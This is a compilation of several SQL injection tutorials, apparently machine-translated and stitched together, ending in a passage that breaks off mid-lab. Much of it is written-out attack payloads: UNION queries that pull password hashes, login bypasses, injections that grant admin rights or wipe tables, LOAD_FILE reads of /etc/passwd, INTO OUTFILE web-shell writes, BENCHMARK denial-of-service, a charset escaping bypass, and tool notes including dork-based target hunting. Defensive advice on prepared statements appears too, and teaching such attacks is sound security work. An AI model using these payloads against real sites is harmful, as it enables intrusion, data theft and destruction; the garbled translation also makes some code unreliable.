Sql injection. What it is? How to find out MySQL versions

Carelessness and inattention are two reasons for writing code that is vulnerable to SQL injections. The third reason - ignorance, should encourage the programmer to deepen his knowledge or even change his profession.

SQL injection ( SQL injection) - vulnerability which occurs due to insufficient data verification and processing, which are transmitted from the user, and allows you to modify and execute queries unexpected by the SQL program code.

SQL injection is a widespread security flaw on the Internet that is easily exploited without special programs and does not require extensive technical knowledge. Exploiting this vulnerability opens the door to great opportunities such as:

  • data theft - 80%;
  • denial of service - 10 percent;
  • substitution or destruction of data - 2-3%;
  • other cases and intentions.

There are also various programs for testing website security for all kinds of JS and SQL injections.

Detailed explanation

In this article I will try to explain the main risks that arise when interacting with the MySQL database. For clarity, I will give an example of a simple database structure, which is typical for most projects:

CREATE DATABASE `news`; USE `news`; # # news table # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, `text` text, PRIMARY KEY (`id` )) TYPE=MyISAM; # # add some data # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`=" news text"; INSERT `news` SET `id`="2", `title`="second news", `date`="2005-06-24 12:12:33", `text`="test news"; # # user table # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL DEFAULT "0", PRIMARY KEY (`id`)) TYPE=MyISAM; # # add several users, one with admin rights, the other simple # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1" ; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

We see that the request is generated depending on the value of $_GET["id"]. To check for a vulnerability, it is enough to change it to a value that can cause an error in executing the SQL query.

Of course, there may not be any error output, but this does not mean that there is no error, as a result

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near """ at line 1"

or result

http://test.com/index.php?id=2-1

if there is a vulnerability, it should produce a result similar to

http://test.com/index.php?id=1.

Similar vulnerabilities allow you to modify the request in the WHERE parameter part. The first thing an attacker will do when such a vulnerability is discovered is to examine how many fields are used in the request. To do this, a deliberately incorrect id is set to exclude the output of real information and is combined with a request with the same number of empty fields.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

the number of "nulls" must correspond to the number of fields that are used in the request.

If the query throws an error, another empty value is added until the error disappears and a result with empty data is returned. Next, the combined fields are replaced with values ​​that can be visually observed on the page.

For example:

http://test.com/index.php?id=-1+UNION+SELECT+null

Now on the page where the news headline was supposed to be shown, qwerty will appear.

How to find out MySQL versions?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

How to retrieve the login of the current database user?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

What is the name of the database being used?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

How to get other data from other tables?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

This is a simple way to find out the password or password hash of the administrator. If the current user has access rights to the “mysql” database, the attacker will receive the administrator’s password hash without the slightest problem.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Now his selection is just a matter of time.

Search

Search is one of the most vulnerable places, since a large number of query parameters are transmitted simultaneously. An example of a simple query that searches by keyword:

SELECT * FROM `news` WHERE `title` LIKE "%$search%" OR `text` LIKE "%$search%"

$search is the word that is sent from the form. An attacker can pass $search="# in the variable, now the request will look like this:

SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%";

Accordingly, instead of the search results for the keyword, all data will be displayed. This also allows you to use the query aggregation feature described above.

Using the ORDER parameter

You can often see that when entering search parameters, or displaying information, they allow the user to sort data by certain fields. I will say right away that using this vulnerability is not too dangerous, since it will cause an error when trying to combine requests, but in combination with vulnerabilities in other fields, there is a danger of commenting out this parameter.

http://test.com/index.php?sort=name

the ORDER parameter is formed depending on the $sort variable

The following request will be generated:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */

thereby commenting out one of the conditions and the ORDER parameter

Now you can combine the query again by assigning $sort=*/ UNION SELECT...

As an option to exploit the vulnerability of this parameter:

SELECT * FROM `users` ORDER BY LENGTH(password);

It will allow you to sort users depending on the length of the password, provided that it is saved in a “pure” form.

Authorization

Let's now try to consider the options for SQL injections that occur during user authorization. Typically, the request that checks the correctness of the authorization data looks like this:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

where $login and $password are variables that are passed from the form. Such a query returns data for the user if successful, and an empty result if unsuccessful. Accordingly, in order to pass authorization, an attacker only needs to modify the request so that it returns a non-zero result. A login is specified that corresponds to a real user, and instead of a password, " OR "1"="1" or some true condition (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3). Accordingly, the request will be generated as follows:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

which will return the result, and as a result, will lead to unauthorized authorization. What if the passwords in the table are hashed? Then the password check is simply “disabled” by commenting out everything that comes after `login`. In the form, instead of the login, the login of the real user is assigned and "# thereby commenting out the password check.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

as an option "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" AND `password`="12345"

A big mistake is to check the password like this:

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE "$password"

since in this case the password % is suitable for any login

INSERT & UPDATE

However, it is not only SELECTs that are a weak point in SQL. INSERT and UPDATE can be no less vulnerable. Let's say the site has the ability to register users. Query that adds a new user:

A vulnerability in one of the fields allows the request to be modified with the necessary data. In the login field we add user", "password", 1)# thereby adding a user with admin rights.

INSERT `users` SET `login`="user", `password`="password", `admin`="0";

Let's assume that the `admin` field is located before the `login` field, so the trick of replacing the data that comes after the `login` field does not work. Let us remember that the syntax of the INSERT command allows you to add not only one line, but several. An example of a vulnerability in the login field: $login= user", "password"), (1, "hacker", "password")#

INSERT INTO `users` SET (`admin`, `login`, `password`) VALUES (0, "user", "password"), (1, "hacker", "password")#", "password") ;

In this way, 2 entries are created, one with the rights of a simple user, the other with the desired admin rights.

A similar situation with UPDATE

Adding additional fields to change:

$login=", `password`="", `admin`="1

Then a similar request

UPDATE `users` SET `login`="teapot" WHERE `id`=2;

Modified as follows:

UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;

What will happen? The user with ID 2 will change the login and password to empty values ​​and receive administrator rights. Or in case

$login=", `password`="" WHERE `id` =1#

The admin login and password will be empty.

DELETE

Everything is simple here, you won’t be able to obtain or change any data, but you are always welcome to delete unnecessary data.

$id=1 OR 1=1

DELETE FROM `news` WHERE `id`="1" OR 1=1; // clears all entries in the table.

Instead of 1=1 there can be any true condition mentioned above. The LIMIT parameter can be saved, which will limit the number of deleted lines, but not always, it can simply be commented out.

DELETE FROM `news` WHERE `id`="1" OR 1=1# LIMIT 1;

Working with files via SQL injection

I seriously doubt that this can happen anywhere, but to be fair, such methods also need to be described. When file privileges are enabled, you can use the LOAD_FILE and OUTFILE commands.

Their danger can be judged from the queries below:

SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

But all the troubles don't end there yet.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` into outfile "/home/test/www/test.php";

This is how we write a file that contains PHP code. True, in addition to the code, there will be several more null entries in it, but this will in no way affect the performance of the PHP code. However, there are several conditions due to which these methods will work:

  • The FILE privilege is enabled for the current database user;
  • The rights to read or write these files are for the user under which the MySQL server is running; the absolute path to the file;
  • a less important condition is that the file size must be less than max_allowed_packet, but since in MySQL 3.23 the largest package size can be 16 MB, and in 4.0.1 and more, the package size is limited only by the amount of available memory, up to a theoretical maximum of 2 GB this condition usually always available.

Magic quotes

Magic quotes make it impossible to use SQL injections in string variables, since they automatically escape all " and " that come with $_GET and $_POST. But this does not apply to the use of vulnerabilities in integer or fractional parameters, although with the exception that it will not be possible to use ". In this case, the char function helps.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS via SQL injection.

I almost forgot to say, and SQL experts will confirm, that the UNION operation is only possible in MySQL >=4.0.0. People who have projects on previous versions breathed a sigh of relief :) But not everything is as safe as it looks at first glance. The attacker's logic is sometimes difficult to follow. “If I can’t hack, at least I’ll fail,” the hacker will think, typing the BENCHMARK function for an example request

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

It took me from 12 to 15 seconds. Adding a zero - 174 seconds. I simply couldn’t raise my hand to do more. Of course, on powerful servers such things will be done much faster, but...BENCHMARK allows you to invest yourself one by one. Like this:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Or even like this

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

And the number of zeros is limited only by the “kindness” of the one who types them.

I think that even a VERY powerful machine will not be able to easily swallow such requests.

Bottom line

That's all. In this article, I tried to cover as much as possible the types of vulnerabilities that programmers make when creating programs using MySQL databases. However, I am more than sure that this is not a complete list.

It is important to remember the rules against SQL injections

  • Do not trust ANY data that comes from the user. We are not just talking about the data that is transferred in the $_GET and $_POST arrays. Don't forget about $_COOKIE and other parts of HTTP headers. You should remember that they are easy to replace.
  • You shouldn’t rely on the PHP “magic quotes” option, which probably hinders more than it helps. All data that is transferred to the database must be summarized by type with database fields. ($id=(int)$_GET["id"]) or protected by the mysql_real_escape_string or mysql_real_escape_string functions.
  • mysql_real_escape_string does not escape % and _, so it should not be used in conjunction with LIKE.
  • You shouldn't rely too much on a correctly written mod_rewrite either. These are only ways to create “convenient” URLs, but certainly not a way to protect against SQL injections.
  • Disable error reporting.
  • Don't help bad visitors. Even if the error is identified, the lack of information about it will seriously hamper its application. Remember the difference between the development stage and the working draft. Error output and other detailed information - your ally at the development stage, and attacker's ally in working version. You should also not hide them by commenting in the HTML code; for every 1000 visitors there will be 1 who will still find such things.
  • Handle errors.
  • Write processing SQL queries in such a way that information about them is stored in some logs or sent by mail.
  • Do not store database access data in files that are not processed by PHP as code.
  • I don’t think I’ve discovered America to anyone, but from my own experience I can say that this practice is quite common. Typically this is a file with the extension *.inc
  • Don't create a database "super user".
  • Grant only the rights necessary to perform specific tasks.
  • In the search, it is worth limiting the minimum and maximum number of characters, which are the query parameters.
  • For an honest user, from 3 to 60-70 characters is enough to satisfy their search interests, and at the same time you prevent situations when the search query will be the volume of “War and Peace”.
  • Always check the number of records returned after a query

Almost 90% of sites written in PHP There is such a logical error, this can especially be observed when a request is made based on the ID received from the user. If you manually give the script a non-existent ID, we will see quite interesting results from the work of some scripts, instead of returning 404, the program will at best do nothing and display to a blank page.

Safe SQL to you.

The number of sites and pages on the Internet is growing steadily. Everyone who can is taking on the development. And novice web programmers very often use unsafe and old code. And this creates a lot of loopholes for attackers and hackers. Which is what they use. One of the most classic vulnerabilities is SQL injection.

A little theory

Many people know that most sites and services on the Internet use SQL databases to store them. This is a structured query language that allows you to manage and administer data warehouses. There are many different versions of database management systems - Oracle, MySQL, Postgre. Regardless of the name and type, they use data queries in the same way. This is where the potential vulnerability lies. If the developer was unable to correctly and securely process the request, then an attacker can take advantage of this and use special tactics to gain access to the database, and from there, control the entire site.

To avoid such situations, you need to properly optimize the code and carefully monitor which request is processed in what way.

Checking for SQL injections

To determine the presence of vulnerabilities in the network, there are a lot of ready-made automated software systems. But you can carry out a simple check manually. To do this, you need to go to one of the sites you are researching and try to trigger a database error in the address bar. For example, a script on a website may not process requests and may not cut them off.

For example, there is a certain_site/index.php?id=25

The easiest way is to put a quote after 25 and send a request. If no error occurs, then either all requests are filtered on the site and processed correctly, or their output is disabled in the settings. If the page reloaded with problems, it means there is a vulnerability for SQL injection.

Once it is detected, you can try to get rid of it.

To implement this vulnerability you need to know a little about One of them is UNION. It combines multiple query results into one. This way you can calculate the number of fields in the table. An example of the first request looks like this:

  • some_site/index.php?id=25 UNION SELECT 1.

In most cases, such an entry should generate an error. This means that the number of fields is not equal to 1. Thus, by selecting options from 1 and more, you can set their exact number:

  • some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

That is, when the error stops appearing, it means the number of fields is correct.

There is also an alternative solution to this problem. For example, when the number of fields is large - 30, 60 or 100. This is the GROUP BY command. It groups query results by some characteristic, for example id:

  • some_site/index.php?id=25 GROUP BY 5.

If no errors were received, it means there are more than 5 fields. Thus, by substituting options from a fairly wide range, you can calculate how many there really are.

This SQL injection example is for beginners who want to try their hand at testing their website. It is important to remember that there is an article of the Criminal Code for unauthorized access to someone else’s property.

Main types of injections

There are several options for implementing vulnerabilities through SQL injection. The following are the most popular methods:

    UNION injection. A simple example of this type has already been discussed above. It is implemented due to an error in checking incoming data, which is not filtered in any way.

    Error-based SQL injection. As the name suggests, this type also exploits errors by sending expressions that are syntactically incorrect. Then the response headers are intercepted, analyzing which can subsequently be used to perform an SQL injection.

    Stacked injection. This vulnerability is determined by the execution of sequential requests. It is characterized by adding a “;” at the end. This approach is most often implemented to access the implementation of reading and writing data, or to control operating system functions if privileges allow it.

Software systems for searching for SQL vulnerabilities

Available for carrying out SQL injections, programs usually have two components - scanning a site for possible vulnerabilities and using them to gain access to data. There are such utilities for almost all known platforms. Their functionality greatly facilitates checking a site for the possibility of hacking with SQL injection.

Sqlmap

A very powerful scanner that works with most well-known DBMSs. Supports various SQL injection techniques. It has the ability to automatically recognize the type of password hash and crack it using a dictionary. There is also functionality for downloading and uploading files from the server.

Installation in a Linux environment is performed using the commands:

  • git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --wizard.

For Windows there is both a command line and a graphical user interface option.

jSQL Injection

jSQL Injection is a cross-platform tool for testing the exploitation of SQL vulnerabilities. Written in Java, so the JRE must be installed on the system. Capable of processing header and cookie requests. Has a convenient graphical interface.

Installation of this software package proceeds as follows:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| head-n 1`

Launch using the command java -jar ./jsql-injection-v*.jar

In order to start checking a site for SQL vulnerabilities, you need to enter its address in the top field. They are separate for GET and for POST. If the result is positive, a list of available tables will appear in the left window. You can view them and find out some confidential information.

To search for administrative panels, use the “Admin page” tab. It automatically searches for system records of privileged users using special templates. From them you can only get a password hash. But it is also available in the program tools.

After finding all the vulnerabilities and injecting the necessary requests, the utility will allow you to upload your file to the server or, conversely, download it from there.

SQLi Dumper v.7

This program is an easy-to-use tool for finding and implementing vulnerabilities in SQL. The UN produces this on the basis of so-called dorks. Their lists can be found on the Internet. SQL injection keywords are special search query patterns. With their help you can potentially find them through any search engine.

Training Tools

The site itsecgames.com has a special set of tools that allows you to use examples to show how to make an SQL injection and test it. In order to use it, you need to download and install it. The archive contains a set of files that represents the structure of the site. To install it, you will need a set of Apache, MySQL and PHP web servers available in the system.

After unpacking the archive into the web server folder, you need to go to the address entered when installing this software product. The user registration page will open. Here you need to enter your data and click “Create”. Having transferred the user to a new window, the system will offer to select one of the testing options. Among them there are both the described injections and many other test tasks.

It's worth looking at an example of a SQL injection like GET/Search. Here you need to select it and click “Hack”. The user will be presented with a search bar and an imitation of a certain site with films. You can go through films for a long time. But there are only 10 of them. For example, you can try to enter Iron Man. The movie will be displayed, which means the site is working and there are tables in it. Now we need to check whether the script filters special characters, in particular the quote. To do this, you need to add "" to the address bar. Moreover, this must be done after the name of the movie. The site will display the error Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1, which indicates that the characters are still being processed incorrectly. This means you can try to substitute your request. But you need to first calculate the number of fields. To do this, use order by, which is entered after the quote: http://testsites.com/sqli_1.php?title=Iron+Man" order by 2 --&action=search.

This command will simply display information about the movie, that is, the number of fields is greater than 2. The double hyphen tells the server that other requests should be discarded. Now you need to iterate, substituting increasingly larger values ​​until an error is displayed. As a result, it turns out that there will be 7 fields.

Now it's time to get something useful from the database. You will have to slightly modify the request in the address bar, bringing it to this form: http://testsites.com/sqli_1.php?title=Iron+Man" union select 1, database(),user(),4,password,6, 7 from users --&action=search. As a result of its execution, lines with password hashes will be displayed, which can be easily converted into understandable characters using one of the online services. And with a little magic and selecting the name of the login field, you can gain access to someone else’s record, for example, the site admin.

The product has a ton of different injection types to practice with. It is worth remembering that using these skills online or on real sites may be criminally punishable.

Injections and PHP

As a rule, it is the PHP code that is responsible for the necessary processing of requests coming from the user. Therefore, it is at this level that you need to build protection against SQL injections in PHP.

  • Data must always be processed before being stored in the database. This can be achieved either by using existing expressions or by organizing queries manually. Here, too, it is worth considering that numeric values ​​are converted to the type that is needed;
  • Avoid the appearance of various control structures in the request.

Now a little about the rules for composing queries in MySQL to protect against SQL injections.

When writing any query expressions, it is important to separate the data from the SQL keywords.

  • SELECT * FROM table WHERE name = Zerg.

In this design, the system may think that Zerg is the name of a field, so it needs to be enclosed in quotes.

  • SELECT * FROM table WHERE name = "Zerg".

However, there are situations where the value itself contains quotes.

  • SELECT * FROM table WHERE name = "Ivory Coast".

Here only part of the cat-d will be processed, and the rest can be perceived as a command, which, of course, does not exist. Therefore an error will occur. This means that this kind of data needs to be screened. To do this, use the backslash - \.

  • SELECT * FROM table WHERE name = "Ivory Coast".

All of the above applies to strings. If the action occurs with a number, then it does not need any quotes or slashes. However, they must be forced to be converted to the required data type.

There is a recommendation that the field name should be enclosed in a backquote. This symbol is located on the left side of the keyboard, along with the tilde "~" sign. This is necessary so that MySQL can accurately distinguish the field name from its keyword.

Dynamic work with data

Very often, dynamically generated queries are used to obtain any data from the database. For example:

  • SELECT * FROM table WHERE number = "$number".

Here the variable $number is passed as the definition of the field value. What will happen if Ivory Coast gets into it? Error.

Of course, you can avoid this trouble by turning on “magic quotes” in the settings. But now the data will be screened where it is necessary and where it is not necessary. In addition, if the code is written by hand, then you can spend a little more time creating a hack-resistant system yourself.

To add a slash yourself, you can use mysql_real_escape_string.

$number=mysql_real_escape_string($number);

$year=mysql_real_escape_string($year);

$query="INSERT INTO table (number,year,class) VALUES ("$number","$year",11)".

Although the code has grown in volume, it will still potentially work much more securely.

Placeholders

Placeholders are unique markers by which the system knows that a special function needs to be inserted in this place. For example:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");

$sate->bind_param("s", $number);

$sate->execute();

This section of code prepares a request template, then binds the number variable, and executes it. This approach allows you to separate request processing and its implementation. This way, you can protect yourself from using malicious code injection into SQL queries.

What can an attacker do?

System protection is a very important factor that cannot be neglected. Of course, a simple business card website will be easier to restore. What if it is a large portal, service, forum? What consequences can there be if you don't think about safety?

Firstly, a hacker can violate both the integrity of the database and delete it entirely. And if the site administrator or hoster did not make a backup, then it will be hard. In addition, an attacker, having hacked one site, can move to others hosted on the same server.

Next comes the theft of visitors’ personal data. How to use them is limited only by the hacker’s imagination. But in any case, the consequences will not be very pleasant. Especially if it contained financial information.

An attacker can also leak the database to himself and then extort money for its return.

Misinformation of users on behalf of a person who is not them can also have negative consequences, since cases of fraud are possible.

Conclusion

All information in this article is provided for informational purposes only. You should use it only for testing your own projects when identifying vulnerabilities and eliminating them.

For a more in-depth study of the methodology of how to carry out an SQL injection, you need to start by actually researching the capabilities and features of the SQL language. How queries are composed, keywords, data types and the application of all this.

You also cannot do without understanding how PHP functions and HTML elements work. The main vulnerable points for using injections are the address bar, search and various fields. Studying PHP functions, how they are implemented and their capabilities will help you understand how you can avoid mistakes.

The presence of many ready-made software tools allows you to conduct an in-depth analysis of the site for known vulnerabilities. One of the most popular products is kali linux. This is an image of a Linux-based operating system, which contains a large number of utilities and programs that can conduct a comprehensive analysis of the site for strength.

Why do you need to know how to hack a website? Everything is very simple - this is necessary in order to have an idea of ​​the potentially vulnerable areas of your project or website. Especially if this is an online store with the ability to pay online, where the user’s payment data can be compromised by an attacker.

For professional research, information security services will be able to check the site according to different criteria and depth. Starting from simple HTML injection to social engineering and phishing.

We wish you success in completing it. The results of your passage will be published later (follow the news on social networks), and all those who have passed will also be sent a invite to register on the site.

Like, share with friends and colleagues, repost on social networks.

All programmers have read or at least heard about methods for hacking website security. Or even encountered this problem. On the other hand, the imagination of those who want to break the site is endless, so all bottlenecks must be well protected. That's why I'd like to start a series of short articles that will introduce basic website hacking methods and techniques.

In the first article, I would like to describe and explain some common methods for hacking one of the most vulnerable parts of the site - forms. I'll go into detail about how to use these techniques and how to prevent attacks, as well as cover security testing.

SQL injection

SQl injection is a technique where an attacker enters SQL commands into an input field on a web page. This imput can be anything - a text field in a form, _GET and _POST parameters, cookies, etc. This method was very effective before the advent of frameworks in the PHP world. But this hack can still be dangerous if you don't use an ORM or any other extensions to the data object. Why? Due to the way parameters are passed to the SQL query.

"Blind" injections

Let's start with a classic example of an SQL statement that returns the user by his login and password hash (login page)

Example 1

mysql_query("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

I put question marks in the expression because of the different variations of this solution. The first option, in my opinion, is the most vulnerable:

Example 1a

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

In this case, the code does not check for invalid data input. Values ​​are passed directly from the input form to the SQL query. In the best case scenario, the user will enter his username and password here. What's the worst case scenario? Let's try to hack this form. This can be done by passing "prepared" data. Let's try to log in as the first user from the database, and in most cases this is the admin account. To do this, we will pass a special string instead of entering the login:

" OR 1=1; --

The first quote can also be a single quote, so one attempt at hacking may not be enough. At the end there is a semicolon and two hyphens so that everything that comes after turns into a comment. As a result, the following SQL query will be executed:

SELECT id, login FROM users WHERE login = “;” OR 1=1 LIMIT 0.1; - and password = hash(“;Some password”)

It will return the first user from the database and possibly log in to the application as that user. A good move would be to add LIMIT to log in as each individual user. This is the only thing needed to go through each value.

More serious ways

In the previous example, everything is not so scary. The options in the admin control panel are always limited and it would take a lot of work to actually break the site. But an attack through SQL injection can lead to much greater damage to the system. Think about how many applications are created with the main table "users" and what would happen if an attacker entered code like this into an unprotected form:

My favorite login"; DROP TABLE users; --

The "users" table will be deleted. This is one of the reasons to make database backups more often.

_GET parameters

All parameters filled out through the form are transmitted to the server using one of two methods - GET or POST. The most common parameter passed via GET is id. This is one of the most vulnerable places for attacks, and it does not matter what type of URL you use - ` http://example.com/ users/?id=1`, or ` http://example.com/ users/1`, or ` http://......./.../ post/35 `.

What happens if we insert the following code into the URL?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Probably, such a request will return the user's login and... a hash of his password. The first part of the request `AND 1=0` turns what precedes it into false, so no records will be received. And the second part of the request will return data in the form of prepared data. And since the first parameter is id, the next one will be the user’s login and the hash of his password and some other parameters. There are many programs that use brute force to decode a password like the one in the example. And since the user can use the same password for different services, it is possible to gain access to them.

And here’s what’s curious: it’s completely impossible to defend against this type of attack using methods like `mysql_real_escape_string`, `addslashes`, etc. d. Basically, there is no way to avoid such an attack, so if the parameters are passed like this:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

the problems will not go away.

Escaping characters in a string

When I was new to programming, I had a hard time working with encodings. I didn't understand what the difference was between them, why use UTF-8 when you need UTF-16, why the database always sets the encoding to latin1. When I finally started to understand all this, I discovered that there would be fewer problems if I kept everything in one coding standard. While sorting through all this, I also noticed security issues that arise when converting from one encoding to another.

The problems described in most of the previous examples can be avoided by using single quotes in queries. If you use addslashes() , SQL injection attacks that rely on single quotes escaped with a backslash will fail. But such an attack can work if you simply substitute a character with code 0xbf27 , addslashes() converts it into a character with code 0xbf5c27 - and this is a completely valid single quote character. In other words, `뼧` will go through addslashes() and then MySQL mapping will convert it into two characters 0xbf (¿) and 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

This example can be hacked by passing 뼧 or 1=1; -- in the login field in the form. The SQL engine will generate the final query like this:

SELECT * FROM users WHERE login = "¿" OR 1=1; --

And it will return the first user from the database.

Protection

How to protect the application? There are a lot of methods, the use of which will not make the application completely invulnerable, but will at least increase its security.

Using mysql_real_escape_string

The addslashes() function is unreliable because it does not allow for many hacking cases. mysql_real_escape_string does not have such problems

Using MySQLi

This MySQL extension can work with related parameters:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Using PDO

Long way to substitute parameters:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // insert one row $name = "one"; $value = 1; $stmt->execute();

Short way:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Using ORM

Use ORM and PDO and bind (use bind) parameters. Avoid SQL in your code, if you see SQL in your code then there is something wrong with it.

ORM will take care of security in the bottlenecks in the code and parameter validation.

conclusions

The purpose of this series is not to provide a complete guide to hacking websites, but to ensure application security and prevent attacks from any source. I tried to write this article not only for programmers - they should be aware of any threats in the code and know how to prevent them, but also for quality engineers - because their job is to track and report such issues .

The essence of SQL injections

You've probably already heard the joke from the Internet: “ Why is it the same in all drawing lessons: For example, a lesson on drawing an owl. First, we draw the owl’s eye in detail for half an hour. And then - once - in five minutes - we draw the rest of the owl».

There is even a picture about this:

There is a lot of material on SQL injections: articles, books, video courses (paid and free). However, not many of them add understanding on this issue. Especially if you are a beginner. I remember my feelings well: here is the circle, here is the rest of the owl...

The purpose of this note is to pull the eye on the owl to give a normal, simple explanation, what are SQL injections, what is their essence, how dangerous they are and why.

For experiments, we will have a very simple script that is vulnerable to SQL injection:

To access the Bobruisk regional library, enter your credentials:

Enter your name

Enter your password


query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); ) $name = filter_input(INPUT_GET, "name"); $password = filter_input(INPUT_GET, "password"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND password = $password")) ( while ($obj = $result->fetch_object()) ( echo "

Your name:$obj->name

Your status:$obj->status

Books available for you:$obj->books


"; ) ) else ( printf("Error: %sn", $mysqli->error); ) $mysqli->close(); ?>

You will understand much more if you do everything with me. So here it is. It contains two files: index.php And db_library.sql. Place the index.php file anywhere on the server - this is our vulnerable script. And the db_library.sql file needs to be imported, for example, using phpMyAdmin.

In the index.php file, the database username is set to root and the password is blank. You can enter your data by editing the line:

$mysqli = new mysqli("localhost", "root", "", "db_library");

According to legend, this is a login form to the online version of the Bobruisk regional library. We have already been given credentials: username - Demo, password - 111.

Let's enter them and see:

Our credentials have been accepted, our name, status and books available to us are displayed on the screens. You can try, with any other data (if you change your name or password), we will not be able to log in and view the books available for reading. We also have no way of knowing which books are available to others because we don't know their username and password.

Let's look at the source code to understand how the database request occurred:
Word SELECT in an SQL query shows what data needs to be retrieved. For example, you could specify SELECT name, or SELECT name, password. Then in the first case only the name would be obtained from the table, and in the second - only the name and password. The asterisk says that you need to get all the values. Those. SELECT * - this means to get all values.

FROM tells where you need to get them from. The FROM is followed by the table name, i.e. the FROM `members` entry says get from the `members` table.

Further WHERE, if you have studied any programming languages, then this word most closely resembles “If”. And then there are conditions, these conditions can be true (1) or false (0). In our case

(name = ‘$name’) AND (password =’$password’)

means that the condition will be true if the passed variable $name is equal to the value of the name field in the table and the passed variable '$password is equal to the value of the password field in the table. If at least one condition is not met (incorrect username or password), then nothing will be taken from the table, i.e. the expression SELECT * FROM `members` WHERE name = '$name' AND password ='$password' means : in the `members` table, take the values ​​of all fields if the condition is met for them - the passed user name and password match those found in the table.

It's clear. Let's now, for example, insert a single quote with the username:

Address bar:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

No data was received, instead we see an error:
When we entered the correct data, our request looked like this:
By adding a quote, our query becomes:
I put additional spaces for clarity, i.e. we get the request
By the way, the request is correct in syntax. And immediately after it, without any separators, the request continues:

"AND password="111"

This is what breaks everything, since the number of opening and closing quotes is not equal. You can, for example, insert another quote:
Address bar:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

The error disappeared, but this did not add any meaning to the request. The meaningless tail of the request is bothering us. How can we get rid of it?

There is an answer - these are comments.

Comments in MySQL can be specified in three ways:

  1. # (hash - works until the end of the line)
  2. - (two dashes - work until the end of the line, you need a space character after two dashes)
  3. /* this is a comment */ a group of four characters - everything inside is a comment, everything before or after this group of characters is not considered a comment.
Let's put a comment in our query with one quote, after this quote we put a comment sign to discard the tail, and a + sign, which denotes a space, so that the query turns out like this:
Address bar:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Not only did the error disappear, but the correct data was displayed for the Demo user. Since now our request has taken the form
after all, the ponytail -+ ‘ AND password =’111’ turned into a comment and no longer affects the request.

Take another look at the new request:
And it no longer checks the password! Those. Knowing the names of legitimate users, but not knowing their passwords, we can view their personal data. Those. We have already started exploiting SQL injection.

Unfortunately, I don't know of any legitimate names and need to come up with something else.

Let's take a closer look at this part of the request:
